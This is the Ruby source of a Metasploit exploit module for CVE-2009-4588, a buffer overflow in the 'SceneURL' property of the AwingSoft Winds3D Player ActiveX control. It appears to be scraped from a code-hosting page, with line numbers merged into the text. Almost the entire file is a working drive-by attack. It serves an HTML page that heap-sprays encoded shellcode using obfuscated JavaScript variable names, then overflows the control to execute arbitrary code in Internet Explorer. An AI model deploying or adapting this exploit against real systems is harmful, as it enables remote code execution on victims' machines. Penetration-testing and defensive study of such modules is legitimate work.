Path: blob/master/modules/exploits/windows/browser/awingsoft_web3d_bof.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# awingsoft_web3d_bof.rb7#8# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework9#10# Tested successfully on the following platforms:11# - Internet Explorer 6, Windows XP SP212# - Internet Explorer 7, Windows XP SP313#14# WindsPly.ocx versions tested:15# - 3.0.0.516# - 3.5.0.017# - 3.6.0.0 (beta)18#19# Trancer20# http://www.rec-sec.com21##2223class MetasploitModule < Msf::Exploit::Remote24Rank = AverageRanking2526include Msf::Exploit::Remote::HttpServer::HTML2728def initialize(info = {})29super(30update_info(31info,32'Name' => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',33'Description' => %q{34This module exploits a data segment buffer overflow within Winds3D Viewer of35AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of36AwingSoft Web3D Player.37By setting an overly long value to the 'SceneURL' property, an attacker can38overrun a buffer and execute arbitrary code.39},40'License' => MSF_LICENSE,41'Author' => [42'shinnai <shinnai[at]autistici.org>', # Original exploit [see References]43'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation44'jduck'45],46'References' => [47[ 'CVE', '2009-4588' ],48[ 'OSVDB', '60017' ],49[ 'EDB', '9116' ],50[ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]51],52'DefaultOptions' => {53'EXITFUNC' => 'process'54},55'Payload' => {56'Space' => 1024,57'BadChars' => "\x00\x09\x0a\x0d'\\",58'StackAdjustment' => -350059},60'Platform' => 'win',61'Targets' => [62# data segment size: 7618063# crasher offsets: 2640, 2712, 8984, 68420, 6842464[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]65],66'DisclosureDate' => '2009-07-10',67'DefaultTarget' => 0,68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)75end7677def on_request_uri(cli, request)78# Re-generate the payload79return if ((p = regenerate_payload(cli)) == nil)8081# Encode the shellcode82shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8384# Setup exploit buffers85nops = Rex::Text.to_unescape([target.ret].pack('V'))86ret = Rex::Text.uri_encode([target.ret].pack('V'))87blocksize = 0x4000088fillto = 50089offset = target['Offset']9091# Randomize the javascript variable names92winds3d = rand_text_alpha(rand(100) + 1)93j_shellcode = rand_text_alpha(rand(100) + 1)94j_nops = rand_text_alpha(rand(100) + 1)95j_ret = rand_text_alpha(rand(100) + 1)96j_headersize = rand_text_alpha(rand(100) + 1)97j_slackspace = rand_text_alpha(rand(100) + 1)98j_fillblock = rand_text_alpha(rand(100) + 1)99j_block = rand_text_alpha(rand(100) + 1)100j_memory = rand_text_alpha(rand(100) + 1)101j_counter = rand_text_alpha(rand(30) + 2)102103# we must leave the page, so we use http-equiv and javascript refresh methods104html = %Q|<html>105<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>106<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>107<script>108#{j_shellcode}=unescape('#{shellcode}');109#{j_nops}=unescape('#{nops}');110#{j_headersize}=20;111#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;112while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};113#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});114#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});115while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};116#{j_memory}=new Array();117for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};118119var #{j_ret} = unescape('#{ret}');120while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }121#{winds3d}.SceneURL = #{j_ret};122setTimeout('window.location = "#{get_resource}";', 500);123</script>124</html>125|126127print_status("Sending #{self.name}")128129# Transmit the response to the client130send_response(cli, html, { 'Content-Type' => 'text/html' })131132# Handle the payload133handler(cli)134end135end136137138